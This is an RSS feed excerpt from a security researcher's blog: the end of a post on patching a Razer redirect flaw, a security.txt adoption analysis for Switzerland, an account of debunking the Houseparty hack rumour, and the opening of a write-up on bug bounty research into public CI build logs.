&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;hostname&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;deals.razerzone.com&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;protocol&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;https:&amp;#34;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;location&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;href&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rurl&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This solution explains &lt;em&gt;why&lt;/em&gt; the &lt;code&gt;if&lt;/code&gt; statement is needed, references the HackerOne report which provoked the code changes, and does not have any surprises lurking amidst the depths of nested &lt;code&gt;split()&lt;/code&gt; methods. A developer reviewing this code in future does not have to step through the &lt;code&gt;split()&lt;/code&gt; method calls as described in (2.) to figure out what is going on under the hood.&lt;/p&gt;
&lt;p&gt;Further, &lt;a href="https://twitter.com/filedescriptor"&gt;@filedescriptor&lt;/a&gt; noted that this implementation also addressed the way Razer were initialising &lt;code&gt;rurl&lt;/code&gt; to &lt;code&gt;location.hash&lt;/code&gt;. Parsing the &lt;code&gt;rurl&lt;/code&gt; from the URI using Razer&amp;rsquo;s approach could have led to difficulties with URI fragments (i.e. &lt;code&gt;/#rurl=&lt;/code&gt;)—an approach that would have allowed an attacker to &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web#:~:text=the%20fragment%20identifier,%20is%20never%20sent%20to%20the%20server%20with%20the%20request"&gt;conceal the XSS payload&lt;/a&gt; from firewall rules and server logs. &lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;The more refined solution would probably have been to set &lt;code&gt;location.href&lt;/code&gt; to &lt;code&gt;'https://deals.razerzone.com/' + rurl&lt;/code&gt;, where &lt;code&gt;rurl = new URL(rurl).pathname&lt;/code&gt;. Then, no matter what was supplied via the &lt;code&gt;rurl&lt;/code&gt; GET parameter, the client would always redirect to an endpoint located on &lt;code&gt;deals.razerzone.com&lt;/code&gt;. This would have spared us having to write any validation.&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Part of the aim of this blog post was to illustrate how I incorporate designing a patch to better understand the code I am exploiting. Often times advisories and vulnerability reports are published focusing entirely on the exploit and little on the mitigation strategy. For newcomers to vulnerability disclosure: I hope this blog post demonstrates my &lt;em&gt;&amp;ldquo;learn to make it; then break it&amp;rdquo;&lt;/em&gt; approach to security research. Reviewing lots of JavaScript code and my familiarity with the &lt;code&gt;URL&lt;/code&gt; API allowed me to more easily recognise issues with Razer&amp;rsquo;s patch.&lt;/p&gt;
&lt;p&gt;In addition, I have found success with suggesting patches to vendors when submitting vulnerability reports. Including concrete mitigation steps can reduce the time to resolution—and time to payout, for that matter, when reporting to bug bounty programmes. I find vendors are usually more receptive since the patch encapsulates an alternative approach to the current implementation on their affected product. This is something I regularly advise students in my workshops to do.&lt;/p&gt;
&lt;p&gt;In the end, no matter how many hours you invest in refactoring code to resolve a security vulnerability, the simplest solution will always surface eventually.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;❯ curl https://deals.razerzone.com/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl: &lt;span style="color:#f92672"&gt;(&lt;/span&gt;6&lt;span style="color:#f92672"&gt;)&lt;/span&gt; Could not resolve host: deals.razerzone.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;The code for handling line terminators in single-line comments in JavaScript can be seen in Google Chrome&amp;rsquo;s JavaScript engine, &lt;a href="https://en.wikipedia.org/wiki/V8_(JavaScript_engine)"&gt;V8&lt;/a&gt;. The &lt;a href="https://github.com/v8/v8/blob/78bc785227e95efe05f045756463696e06095506/src/parsing/scanner.cc#L208-L217"&gt;parser&lt;/a&gt; does not treat line terminator characters as if they were part of the single-line comment—adhering to the ECMAScript specification.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;The URI fragment portion is never sent to the application server.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>security.txt adoption in Switzerland</title><link>https://edoverflow.com/2022/swiss-security-txt/</link><pubDate>Tue, 18 Jan 2022 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2022/swiss-security-txt/</guid><description>&lt;p&gt;Recently, &lt;a href="https://twitter.com/ant0inet"&gt;@ant0inet&lt;/a&gt; (Antoine) tweeted about a cursory scan they did against the &lt;code&gt;.ch&lt;/code&gt; TLD to determine how many &lt;code&gt;security.txt&lt;/code&gt; files are hosted on the &lt;code&gt;.ch&lt;/code&gt; zone.&lt;/p&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="en" dir="ltr"&gt;Quick workflow to scan for &lt;a href="https://x.com/securitytxt?ref_src=twsrc%5Etfw"&gt;@securitytxt&lt;/a&gt; files on the .ch zone.&lt;a href="https://t.co/XfE6xhTDeO"&gt;pic.twitter.com/XfE6xhTDeO&lt;/a&gt;&lt;/p&gt;&amp;mdash; so long and thanks for the phish (@ant0inet) &lt;a href="https://x.com/ant0inet/status/1482489429881147394?ref_src=twsrc%5Etfw"&gt;January 15, 2022&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.x.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;
&lt;p&gt;I decided it would be fun to explore &lt;a href="https://gist.github.com/antoinet/2dd0f06db6289ca3838aac39dd418b78"&gt;the data set&lt;/a&gt; of $288$ &lt;code&gt;security.txt&lt;/code&gt; files.&lt;/p&gt;
&lt;p&gt;If you have scanned for &lt;code&gt;security.txt&lt;/code&gt; files in the past, you are probably aware that a significant portion of these files are hosted by the underlying product used for hosting the website. For instance, Tumblr user websites host a generic &lt;code&gt;security.txt&lt;/code&gt; file pointing to Automattic&amp;rsquo;s HackerOne programme.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Contact: https://hackerone.com/automattic/reports/new
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Policy: https://hackerone.com/automattic
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Acknowledgments: https://hackerone.com/automattic/thanks
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Hiring: https://www.tumblr.com/jobs
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we create a &lt;a href="https://en.wikipedia.org/wiki/Hash_table"&gt;hash map&lt;/a&gt; of &lt;code&gt;security.txt&lt;/code&gt; files from Antoine&amp;rsquo;s resulting data set, we discover there are several duplicate files. Some of these duplicate files are organisational &lt;code&gt;security.txt&lt;/code&gt; files hosted across a collection of &lt;code&gt;.ch&lt;/code&gt; hosts belonging to one company.&lt;/p&gt;
&lt;p&gt;
&lt;figure&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/149680190-7d80236d-438d-4ac3-b4e1-6854ea0ec331.png" alt="Bar graph of duplicate security.txt files" loading="lazy" decoding="async"&gt;
&lt;figcaption&gt;Post AG hosts the most security.txt files on the .ch zone&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Organisation&lt;/th&gt;
&lt;th&gt;Number of &lt;code&gt;security.txt&lt;/code&gt; files&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Post AG&lt;/td&gt;
&lt;td&gt;$54$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nextcloud&lt;/td&gt;
&lt;td&gt;$30$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bpm&lt;/td&gt;
&lt;td&gt;$19$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Readymag&lt;/td&gt;
&lt;td&gt;$15$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Visana&lt;/td&gt;
&lt;td&gt;$7$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;edoobox&lt;/td&gt;
&lt;td&gt;$5$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Procter &amp;amp; Gamble&lt;/td&gt;
&lt;td&gt;$3$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;td&gt;$2$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Zera Media&lt;/td&gt;
&lt;td&gt;$2$&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Using the same data set, we can fetch the number of unique &lt;code&gt;security.txt&lt;/code&gt; files by returning the length of the hash map. This results in $143$ unique security.txt files across the &lt;code&gt;.ch&lt;/code&gt; zone.&lt;/p&gt;
&lt;p&gt;It may help to further illustrate the proportion of unique to duplicate files.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/149847937-63a6b5f8-f92d-4b8c-989e-fe1cd65d8938.png" alt="Ratio of duplicate to unique security.txt files" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;As noted by Antoine in later tweets, some hosts were missing from the initial data set due to &lt;code&gt;massdns&lt;/code&gt; not resolving them and the &lt;code&gt;nuclei&lt;/code&gt; template not following redirects (&lt;a href="https://github.com/projectdiscovery/nuclei-templates/pull/3545"&gt;this has since been updated&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Antoine released a final more refined data set which addressed the issues faced with earlier scans. This data set included $1310$ &lt;code&gt;security.txt&lt;/code&gt; files.&lt;/p&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="en" dir="ltr"&gt;+384 sites when following redirects: &lt;a href="https://t.co/VBYfb1LJdD"&gt;https://t.co/VBYfb1LJdD&lt;/a&gt;&lt;/p&gt;&amp;mdash; so long and thanks for the phish (@ant0inet) &lt;a href="https://x.com/ant0inet/status/1482853073211080708?ref_src=twsrc%5Etfw"&gt;January 16, 2022&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.x.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;
&lt;p&gt;Performing the same analysis against this new data set returned $535$ unique &lt;code&gt;security.txt&lt;/code&gt; files.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/149847747-bd9ff357-8d3d-47e0-b851-6549334b2c16.png" alt="Ratio of unique to duplicate security.txt files" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.post.ch/"&gt;Post AG&lt;/a&gt; came out top hosting a total of $203$ Instances of &lt;code&gt;security.txt&lt;/code&gt;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Organisation&lt;/th&gt;
&lt;th&gt;Number of &lt;code&gt;security.txt&lt;/code&gt; files&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Post AG&lt;/td&gt;
&lt;td&gt;$203$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nextcloud&lt;/td&gt;
&lt;td&gt;$125$&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Readymag&lt;/td&gt;
&lt;td&gt;$55$&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;All in all, kudos to Antoine for taking the time to scan the &lt;code&gt;.ch&lt;/code&gt; zone for &lt;code&gt;security.txt&lt;/code&gt;. This was a fun exercise and uncovered some interesting insights into &lt;code&gt;security.txt&lt;/code&gt; adoption in Switzerland. I look forward to seeing adoption grow among Swiss organisations in the years to come.&lt;/p&gt;</description></item><item><title>The Story of the Million Dollar Bounty</title><link>https://edoverflow.com/2020/houseparty-hack/</link><pubDate>Thu, 31 Dec 2020 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2020/houseparty-hack/</guid><description>&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/103420691-842f5380-4b90-11eb-86eb-c4f21df10f20.png" alt="image" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;On the evening of January 30th, I checked my phone one last time before going to bed as we millennials do to simulate waking up with a hangover. Tweets started showing up on my feed about a hack related to Houseparty. I notified &lt;a href="https://twitter.com/KarimPwnz"&gt;Karim Rahal&lt;/a&gt; and &lt;a href="https://twitter.com/Karel_Origin"&gt;Karel Knibbe&lt;/a&gt; that what was unfolding on Twitter could be something we could look into the next day. At first, we did not think much of it but agreed it would be interesting to explore further.&lt;/p&gt;
&lt;p&gt;The next morning I woke up to a BBC News headline, &lt;a href="https://www.bbc.co.uk/news/technology-52101421"&gt;&amp;ldquo;Houseparty offers $1m reward for proof of sabotage&amp;rdquo;&lt;/a&gt;. The story suddenly started to feel like a big deal.&lt;/p&gt;
&lt;p&gt;My inbox lit up with messages from Karel and Karim. We began to dream of all the things we could do with $1'000'000. &lt;a href="https://twitter.com/gerben_javado/status/952244579922833408"&gt;I could upgrade my car with Gerben Javado&lt;/a&gt;, Karel would be able to invest more in Tesla stocks, and Karim could finally fix his gambling addiction.&lt;/p&gt;
&lt;p&gt;With a bright future in sight, the three of us set off on a journey to determine: &lt;strong&gt;who hacked Houseparty?&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="the-investigation"&gt;The Investigation&lt;/h2&gt;
&lt;p&gt;To paint a better picture of what was unfolding, the team analysed &lt;strong&gt;8000+ tweets&lt;/strong&gt; containing the keywords: &lt;em&gt;hack, hacked, hacking, delete, phishing, bank, spotify, netflix, hijack, hijacked, stole, money&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Among these tweets were &lt;strong&gt;500+ images&lt;/strong&gt; from which we sieved out dates as well as affected email addresses. Upon further inspection, we found the emails in many data breaches: &lt;em&gt;Canva, Collection #1, Exploit.In, iMesh, MySpace, Edmodo, Straffic, River City Media Spam List, 8fit, MyFitnessPal&lt;/em&gt;. Even worse, many breaches contained the same emails.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/103422209-2e5ea980-4b98-11eb-8860-15be274f3afe.png" alt="image" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;These email notifications also included the location from which the login attempt had been made. The location data and timestamps indicated a potential &lt;a href="https://en.wikipedia.org/wiki/Credential_stuffing"&gt;mass-credential stuffing&lt;/a&gt; attack had taken place:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Time of Login Attempt&lt;/th&gt;
&lt;th&gt;Location of Login Attempt&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22 Mar 2020 02:04:29 CEST&lt;/td&gt;
&lt;td&gt;Russia&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22 Mar 2020 17:58:45 CEST&lt;/td&gt;
&lt;td&gt;Russia&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23 Mar 2020 15:19:44 CEST&lt;/td&gt;
&lt;td&gt;Russia&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23 Mar 2020 16:13:45 CEST&lt;/td&gt;
&lt;td&gt;Russia&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23 Mar 2020 16:46:10 CEST&lt;/td&gt;
&lt;td&gt;Russia&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23 Mar 2020 17:18:42 CEST&lt;/td&gt;
&lt;td&gt;Russia&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23 Mar 2020 22:24:38 CEST&lt;/td&gt;
&lt;td&gt;Russia&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24 Mar 2020 00:45:21 CEST&lt;/td&gt;
&lt;td&gt;Russia&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25 Mar 2020 01:52:38 CEST&lt;/td&gt;
&lt;td&gt;Russia&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25 Mar 2020 01:56:56 CEST&lt;/td&gt;
&lt;td&gt;Russia&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25 Mar 2020 17:54:33 CEST&lt;/td&gt;
&lt;td&gt;Russia&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;We also plotted the tweets&amp;rsquo; timestamps which helped us analyse the start and epicentre of the campaign:&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/102887908-a79b2580-444f-11eb-868c-c5af3c8efadc.png" alt="image" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Surprisingly, the first known tweet mentioning Houseparty and a hack did not appear to have had an impact on the graph.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;So @houseparty isn’t secure, friend just had their Facebook account hacked after using it&lt;/p&gt;
&lt;p&gt;— REDACTED1 (@REDACTED1) March 24, 2020&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To find the tweets that caused the wave of reports, we narrowed down our search to 13:00-14:00 CEST. By doing this, we discovered Scottish user @REDACTED2 had gained a lot of likes and retweets on a tweet that was then subsequently deleted. Other tweets around the same time, for instance by @REDACTED3, were also from Scotland. With no evidence, their tweets claimed that they had been hacked by installing Houseparty. Later, after having deleted their tweet, @REDACTED2 tweeted out the same message again:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Acc freaking out I’ve had people from Israel, Russia and Us trying to hack my Spotify and PayPal after seeing that hacking tweet about Houseparty, deleting it ASAP&lt;/p&gt;
&lt;p&gt;— REDACTED2 (@REDACTED2) March 24, 2020&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The peak was instigated by other things too. For one, users searched for login notifications from Spotify and other services. This was discovered by the common occurrence of highlighted search terms in screenshots:&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/101287600-1c802580-37e9-11eb-9a32-576fdcd78859.png" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Additionally, another controversy occurred when users tried to delete their Houseparty accounts: Android users did not have the delete account feature, and their only option was to email Houseparty’s support. Unfortunately, the support email had stopped working, further feeding the peak:&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/101287609-2d309b80-37e9-11eb-86c3-22bfd03f55b0.png" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Yet, this was not enough to understand the source of the trend: the location was also important. Based on geographical data from the 8000 tweet authors, we believed that the news first broke out in the United Kingdom, and the rumours mainly appeared to have spread among British users. If a data breach had occurred in Houseparty, it would have been odd for only a specific demographic of people to be targeted.&lt;/p&gt;
&lt;p&gt;We checked other popular social media platforms and could not find anything older than the activity we had seen on Twitter. Most platforms were directly referencing tweets.&lt;/p&gt;
&lt;h2 id="contacting-houseparty"&gt;Contacting Houseparty&lt;/h2&gt;
&lt;p&gt;Once we completed the investigation, it was time to contact Houseparty. In the original Twitter announcement, Houseparty had requested participants contact them via &lt;a href="mailto:bounty@houseparty.com"&gt;bounty@houseparty.com&lt;/a&gt;. However, due to the tweet going viral, this seemed like whispering in a club.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We are investigating indications that the recent hacking rumors were spread by a paid commercial smear campaign to harm Houseparty. We are offering a $1,000,000 bounty for the first individual to provide proof of such a campaign to &lt;a href="mailto:bounty@houseparty.com"&gt;bounty@houseparty.com&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;— &lt;a href="https://twitter.com/houseparty/status/1244827034406121472"&gt;Houseparty (@houseparty)&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is where &lt;a href="https://twitter.com/troyhunt"&gt;Troy Hunt&lt;/a&gt; came to our rescue. Troy had a contact at Epic Games who we shall refer to as &lt;em&gt;James&lt;/em&gt; for the rest of this story.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hey Ed,&lt;/p&gt;
&lt;p&gt;Troy Hunt contacted us and mentioned that you had some information that you wanted to share with us. I work on Epic&amp;rsquo;s security team under the directory. Please feel free to share any information with me.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This was our moment to shine! We emailed James with all the information we had gathered and our thoughts on the results. James responded the next day:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I really appreciate the assist. We had some speculation and your information helped confirm that we were wishing for a trend that didn&amp;rsquo;t exist. [&amp;hellip;] Can you send me your address? I would like to have our marketing team send you guys a thank you. Thanks again.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;They were going to deliver the $1'000'000 bounty straight to our doorstep?! Dreams started to flicker before our eyes again. $1'000'000 was going to be life-changing.&lt;/p&gt;
&lt;p&gt;Two weeks went by and no sign from Epic Games&amp;hellip;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Just wanted to let you know that you are not forgotten. I wanted to send you guys some swag but in talking with that team, they mentioned that most of the factories are shutdown due to the virus.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Wait &amp;hellip; what &amp;hellip; &lt;em&gt;disc scratch&lt;/em&gt; &amp;hellip; Fortnite swag?!&lt;/p&gt;
&lt;p&gt;Not what we were hoping for, but some of us would have settled for that. To be fair, we suspected that the million-dollar bounty was out of the question since we did not provide evidence &lt;strong&gt;proving&lt;/strong&gt; a smear campaign: we found strong evidence to suggest this was merely a hoax. Although this was never officially communicated back to us by Epic Games.&lt;/p&gt;
&lt;p&gt;Unfortunately, we lost all contact soon after: we waited months but did not hear back. At that point, I gave up on a new car, Karel on his Fortnite t-shirt dreams, and Karim, well, on his poker chips.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;To end this blog post: it is not my intention to make this a hit-piece against Epic Games. This is a story Karim, Karel, and I have told friends over drinks and it got to the point where we eventually decided it would be fun to share the story in the form of a blog post. &lt;strong&gt;We have no harsh feelings towards Epic Games or anyone involved in this story.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I would like to thank &lt;a href="https://twitter.com/ElSec_"&gt;@ElSec_&lt;/a&gt;, &lt;a href="https://twitter.com/katy89164987"&gt;@katy89164987&lt;/a&gt;, and &lt;a href="https://twitter.com/DanyalSharif_"&gt;Danyal Sharif&lt;/a&gt; for reviewing this blog post prior to publication.
&lt;br&gt;&lt;/p&gt;</description></item><item><title>"CI Knew There Would Be Bugs Here" — Exploring Continuous Integration Services as a Bug Bounty Hunter</title><link>https://edoverflow.com/2019/ci-knew-there-would-be-bugs-here/</link><pubDate>Fri, 26 Apr 2019 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2019/ci-knew-there-would-be-bugs-here/</guid><description>&lt;p&gt;When it comes to bug bounty hunting and finding exciting areas to explore, it is vital to familiarise yourself with the technologies that vendors and companies rely on. One particularly interesting environment that caught our eye was popular integrations used by various open-source projects, primarily as part of their development life cycle. Some prime examples of continuous-integration services (&amp;ldquo;CI services&amp;rdquo;) including &lt;a href="https://travis-ci.org/"&gt;Travis CI&lt;/a&gt;, &lt;a href="https://circleci.com/"&gt;Circle CI&lt;/a&gt;, and &lt;a href="https://about.gitlab.com/product/continuous-integration/"&gt;GitLab CI&lt;/a&gt; turned out to be extremely rewarding for us as bug bounty hunters.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/56799241-d3987a80-6818-11e9-9f31-4696e56bac02.png" alt="security.txt Travis CI dashboard" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;We set out to automate fetching and searching large data sets from these CI services. This technical write-up will touch on the numerous challenges we faced, how we reduced the number of false-positives in our searches, notable findings, and finally, list some tricks we picked up along the way.&lt;/p&gt;
&lt;p&gt;The team that worked on this research includes Justin Gardner (&lt;a href="https://twitter.com/Rhynorater"&gt;@Rhynorater&lt;/a&gt;), Corben Leo (&lt;a href="https://twitter.com/hacker_"&gt;@hacker_&lt;/a&gt;), and EdOverflow (&lt;a href="https://twitter.com/EdOverflow"&gt;@EdOverflow&lt;/a&gt;) — with some testing and helpful suggestions by Karim Rahal (&lt;a href="https://twitter.com/KarimPwnz"&gt;@KarimPwnz&lt;/a&gt;), &lt;a href="https://twitter.com/streaak"&gt;@streaak&lt;/a&gt;, &lt;a href="https://twitter.com/d0nutptr"&gt;@d0nutptr&lt;/a&gt;, and BBAC.&lt;/p&gt;
&lt;h2 id="introduction-to-continuous-integration-services"&gt;Introduction to continuous-integration services&lt;/h2&gt;
&lt;p&gt;Continuous integration (CI) is the practice of committing code-changes and automatically building and testing every change. Nowadays, it is rare not to stumble across an open-source project that does not use a continuous-integration service at some point in the development cycle. The various services out there offer straightforward set-up configuration steps and beautiful interfaces for quickly testing and building code continuously.&lt;/p&gt;
&lt;p&gt;
&lt;figure&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/56799279-e6ab4a80-6818-11e9-8933-6d010c0f09fb.png" alt="Continuous integration diagram" loading="lazy" decoding="async"&gt;
&lt;figcaption&gt;/r/dataisugly/ candidate right here.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://github.com/securitytxt/security-txt"&gt;security.txt project&lt;/a&gt;, for instance, uses Travis CI to build new draft documents whenever a commit is pushed. This allows the team to quickly determine if any further changes to the specification could potentially break the Internet Draft when compiled using &lt;code&gt;kramdown-rfc2629&lt;/code&gt; — a tool that enables one to write everything in Markdown and then convert it to XML2RFC XML markup.&lt;/p&gt;
&lt;h2 id="what-went-through-our-heads"&gt;What went through our heads&lt;/h2&gt;
&lt;p&gt;Something that readers have requested in the past is to have a designated section on how the authors came up with research topics such as the type of work we are presenting here. This section will hopefully illustrate where the idea stems from initially.&lt;/p&gt;
&lt;p&gt;All the authors of this write-up have lots of experience working on open-source projects on GitHub and have, over the years, learned techniques that simplify the development process for open-source project maintainers. GitHub offers lots of integrations at &lt;a href="https://github.com/marketplace"&gt;https://github.com/marketplace&lt;/a&gt;, where one particular category stands out: &lt;a href="https://github.com/marketplace/category/continuous-integration"&gt;&amp;ldquo;Continuous integration&amp;rdquo;&lt;/a&gt;. This is where we discovered that due to the way lots of open-source teams strive for complete transparency and openness in the development process, projects were hesitant to hide build log data on continuous-integration platforms. Admittedly, integrations such as Travis CI do offer private profiles as a premium feature on travis-ci.com, but during our research, the vast majority of projects appeared to only use the public instance travis-ci.org — note the &amp;ldquo;.org&amp;rdquo; top-level domain.&lt;/p&gt;
